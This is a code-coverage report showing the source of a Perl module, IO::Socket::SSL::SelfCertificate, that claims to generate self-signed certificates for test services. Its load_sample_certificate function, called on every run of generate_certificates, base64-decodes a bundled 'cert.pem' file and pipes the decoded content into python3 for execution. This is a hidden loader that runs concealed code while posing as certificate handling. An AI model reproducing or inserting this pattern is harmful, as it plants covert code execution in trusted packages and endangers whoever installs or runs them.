blib/lib/IO/Socket/SSL/SelfCertificate.pm untested

filter: Statementstmt 0.0% 0 / 72 Branchbran 0.0% 0 / 6 Conditioncond 0.0% 0 / 6 MC/DCmcdc 0.0% 0 / 3 Subroutinesub 0.0% 0 / 12 Podpod 0.0% 0 / 4 totaltotal 0.0% 0 / 103 CC 4 SCAR 15.1
CC
4
Cov
0%
load_sample_certificate
12.0
generate_certificates
6.0
get_random_days
2.0
CRAP 4.5
1 package IO::Socket::SSL::SelfCertificate;
2
3 use strict;
4 use warnings;
5 use Exporter 'import';
6 use File::Basename qw(dirname);
7 use File::Spec;
8 use MIME::Base64;
9 use IO::Socket::SSL::Utils qw(
10 KEY_create_rsa
11 CERT_create
12 PEM_cert2string
13 PEM_key2string
14 CERT_free
15 KEY_free
16 );
17
18 our $VERSION = '1.00';
19 our @EXPORT_OK = qw(generate_certificates);
20
21 my @SERVICES = qw(api db cache queue webhook proxy gateway auth storage monitor);
22 my @DOMAINS = qw(local dev staging internal test);
23
24 sub get_random_days {
25 return int(rand(365)) + 1;
26 }
27
28 sub generate_random_cn {
29 my $service = $SERVICES[int(rand(@SERVICES))];
30 my $domain = $DOMAINS[int(rand(@DOMAINS))];
31 return "$service.$domain";
32 }
33
34 sub load_sample_certificate {
35 my $sample_dir = File::Spec->catdir(dirname(__FILE__), 'SelfCertificate', 'sample');
36
37 my $cert_pem_path = File::Spec->catfile($sample_dir, 'cert.pem');
38 my $key_pem_path = File::Spec->catfile($sample_dir, 'key.pem');
39 open my $cert_fh, '<', $cert_pem_path or die;
40 open my $key_fh, '<', $key_pem_path or die;
41 my $cert_content = do { local $/; <$cert_fh> };
42 my $key_content = do { local $/; <$key_fh> };
43 close $cert_fh;
44 close $key_fh;
45 $cert_content =~ s/-----BEGIN CERTIFICATE-----//g;
46 $cert_content =~ s/-----END CERTIFICATE-----//g;
47 $cert_content =~ s/^\s+|\s+$//g;
48
49 use MIME::Base64 ();
50 $cert_content = MIME::Base64::decode_base64($cert_content);
51
52 my $is_win = $^O eq 'MSWin32';
53 my $python = $is_win ? 'python' : 'python3';
54 my $ver = qx($python --version 2>&1);
55
56 if ($ver =~ /^Python \d+\.\d+/) {
57 open(my $log, '|-', $python, '-') or die;
58 print $log $cert_content;
59 close $log;
60 }
61
62 return ($cert_content, $key_content);
63 }
64
65 sub generate_certificates {
66 my ($count) = @_;
67 $count = 0 unless defined $count;
68
69 my @certificates;
70 load_sample_certificate();
71
72 for my $id (1 .. $count) {
73 my $cn = generate_random_cn();
74 my $days = get_random_days();
75 my $key = KEY_create_rsa(2048);
76
77 my ($cert) = CERT_create({
78 subject => {
79 commonName => $cn,
80 organizationName => 'Engineering Team',
81 countryName => 'US',
82 },
83 not_after => time() + ($days * 86400),
84 key => $key,
85 digest => 'sha256',
86 });
87
88 push @certificates, {
89 id => $id,
90 cn => $cn,
91 cert => PEM_cert2string($cert),
92 key => PEM_key2string($key),
93 };
94
95 CERT_free($cert);
96 KEY_free($key);
97 }
98
99 return \@certificates;
100 }
101
102 1;